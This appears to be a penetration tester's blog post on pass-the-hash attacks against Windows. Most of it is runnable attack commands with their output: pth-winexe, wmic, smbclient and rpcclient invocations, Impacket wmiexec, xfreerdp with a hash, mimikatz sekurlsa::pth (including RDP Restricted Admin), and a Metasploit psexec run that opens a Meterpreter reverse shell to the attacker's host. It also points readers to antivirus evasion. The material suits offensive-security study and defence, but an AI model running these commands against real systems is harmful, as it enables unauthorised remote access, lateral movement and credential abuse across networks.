Few techniques can claim to be as popular and effective as good ol’ pass the hash in Windows environments.
This prime example highlights the danger of screwing up the design of an authentication protocole.
This post does not aim to explain PTH, we have talked about it in HFB, plus there are other great resources that cover it pretty well.
What I wanted to do was to go over all tools and techniques to make the most of hash recovered in a pentest. To some fellow pentesters, PTH rhymes with Metasploit and if they cannot find a way to access their Backtrack/Kali, or if the AV kicks off their psexec module, they just feel helpless. Don’t worry, there are other easier means to exploit a pass the hash.
Let’s get cracking.
My favorite set of tools to pass the hash from a Linux platform. They are present by default on Kali Linux and include the following tools :
- pth-net: executes net commands (net user, net share) on remote hosts
- pth-rpcclient: opens an interactive session to execute RPC commands
- pth-smbclient: browses available shares on remote computers
- pth-winexe: executes interactively a command on remote computers
- pth-wmic: executes WMI queries on remote computers
- pth-wmis: executes a command using WMI on remote computers
Let’s give them a try shall we? They all follow the same basic usage :
root@Kali:~# pth-winexe -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25 # Where WORKGROUP is the default WORKGROUP. Can be replaced by a domain name # Administrator: account's name # aad3b435b51404eeaad3b435b51404ee: Empty LM HASH # C0F2E311D3F450A7FF2571BB59FBEDE5: NTLM hash
Let’s use pth-winexe to spawn an interactive command line environement :
root@Kali:~# pth-winexe -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25 cmd.exe E_md4hash wrapper called. HASH PASS: Substituting user supplied NTLM HASH... Microsoft Windows \[Version 6.3.9600\] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami Server\Administrator
Once on the server we can imagine going after connected users with mimikatz, spawn an Empire agent, etc.
For the sake of completness, here are examples of other tools from the pth toolkit:
root@Kali:~# pth-wmic -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25 "select Name from Win32_UserAccount" root@Kali:~# pth-wims -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25 "cmd.exe /c whoami > c:\temp\result.txt" root@Kali:~# pth-smbclient -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25/c$ root@Kali:~# pth-rpcclient -U WORKGROUP/Administrator%aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 //192.168.1.25
The Impacket toolkit is a python implementation of multiple protocoles and tools used by Windows machines. We essentially can find a python variant of pth-winexe easy to incorporate in your own customized toolset. You can download the scripts in the following repository:
root@Kali:~# wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 email@example.com Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>
Until recently, pass the hash only affected SMB and RPC communications, which means we could only spawn a command line environment once we successfully grab a hash, which is enough to wreak heavoc of course! On Windows 2012 R2 and Windows 8.1, Microsoft extended the gift of PTH to another suite of protocoles: RDP!
A new feature called “restricted admin” mode in RDP, is vulnerable to PTH and can be exploited using the open source xfreerdp tool
root@Kali:~# apt-get update root@Kali:~# apt-get install freerdp-x11 root@Kali:~# xfreerpd /u:richard /d:workgroup /pth:C0F2E311D3F450A7FF2571BB59FBEDE5 /v:192.168.1.25
The above techniques work very fine but they make a strong assumption: we can somehow access a Linux environment. That’s simply not always the case (forced to use a bouncing server, Citrix environment, cannot plug our attacking computer, etc.).
Nothing to worry about, Mimikatz can perfectly handle pass the hash attack. The following command will spawn a new cmd.exe process holding the NTLM hash in memory. Once we access a resource using this new process, it will automatically “pass” the hash it has :
mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::pth /user:"administrator" /domain:"spookysec" /ntlm:e4876a80a723612986d7609aa5ebc12b /run:powershell user : administrator domain : spookysec program : powershell impers. : no NTLM : e4876a80a723612986d7609aa5ebc12b | PID 2300 | TID 3892 | LSA Process was already R/W | LUID 0 ; 4568351 (00000000:0045b51f) \_ msv1_0 - data copy @ 0000028AE1F34520 : OK ! \_ kerberos - data copy @ 0000028AE60D9D68 \_ aes256_hmac -> null \_ aes128_hmac -> null \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace @ 0000028AE5FF10D8 (32) -> null mimikatz #
On the new cmd windows, we can seamlessly execute code on the remote server : wmic /node:192.168.1.25 call process create “cmd.exe /c whoami > c:\temp\result.txt”
To avoid getting caught using mimikatz, follow the post on evading AV.
The main advantage when using mimikatz is that it also injects the NTLM in the Kerberos provider !
Up until now we exploited pass the hash in NTLM only. Guess what? Kerberos is vulnerable as well! When requesting a TGT,the user encrypts the current timestamp with their password’s hash! If everything checks out, the DC responds with a TGT encrypted with the user’s password hash! So yes Kerberos is vulnerable to PTH ! You can read more about Kerberos in Hack a Fashion Brand, where I talk a bit more in detail about Kerberos.
So the above technique will also work in an environment where Kerberos was enforced and NTLM protocole denied (users in protected groups for instance).
Pass-The-Hash with RDP in 2020
There seems to be a common misconception that you cannot Pass-The-Hash (a NTLM hash) to create a Remote Desktop Connection to a Windows workstation or server. This is untrue.
Starting with Windows 2012 R2 and Windows 8.1 (although the functionality was backported to Windows 7 and Windows Server 2008 R2), Microsoft introduced Restricted Admin mode. Normally when an RDP session is established, the credentials are passed and stored on the remote server. Connections made in Restricted Admin mode won’t send the credentials to the remote server. This protects the user if connecting to a endpoint that has been compromised. This also means we can establish an RDP session in Restricted Admin mode using only an NTLM hash for authentication.
The RDP uses NTLM or Kerberos to perform authentication. A plaintext password is only required post-authentication to support the logon session and as such is not required when using Restricted Admin mode. We can use Mimikatz to Pass-The-Hash (actually OverPass-The-Hash) to ourselves, to create an impersonated logon session (with respect to network authentications requests). This logon session can be used to RDP to a remote server using Restricted Admin mode.
mimikatz# sekurlsa::pth /user:"administrator" /domain:"spookysec" /ntlm:e4876a80a723612986d7609aa5ebc12b /run:"mstsc.exe /restrictedAdmin"
The biggest caveat is that Restricted Admin mode must be enabled on the remote server. This was not default on Windows 10, but will often be enabled on larger organisations to reduce the number of privileged logon session throughout the network. The user must have Administrator privileges on the remote server and not be a member of the Protected Users group, which prevents authentication using NTLM and DES or RC4 encryption types in Kerberos pre-authentication requests.
I tested the attack with Network Level Authentication (NLA) enabled and disable and it made no difference.
Psexec On Metasploit
Finally of course, there is the well known metasploit psexec implementation, that though can be flagged by most antivirus solutions, is still handy somtimes :
msf > use auxiliary/admin/smb/psexec_command msf auxiliary(psexec_command) > set SMBPass aad3b435b51404eeaad3b435b51404ee:C0F2E311D3F450A7FF2571BB59FBEDE5 msf exploit(psexec) > set SMBUser Administrator msf exploit(psexec) > set SMBDomain WORKGROUP msf exploit(psexec) > run [*] Started reverse TCP handler on 192.168.1.24:4444 [*] 192.168.1.25:445 - Connecting to the server... [*] 192.168.1.25:445 - Authenticating to 192.168.1.25:445|WORKGROUP as user 'administrator'... [*] 192.168.1.25:445 - Selecting PowerShell target [*] 192.168.1.25:445 - Executing the payload... [+] 192.168.1.25:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (957999 bytes) to 192.168.1.25 [*] Meterpreter session 1 opened (192.168.1.24:4444 -> 192.168.1.25:49173) at 2017-04-05 22:48:15 +0200 meterpreter > exit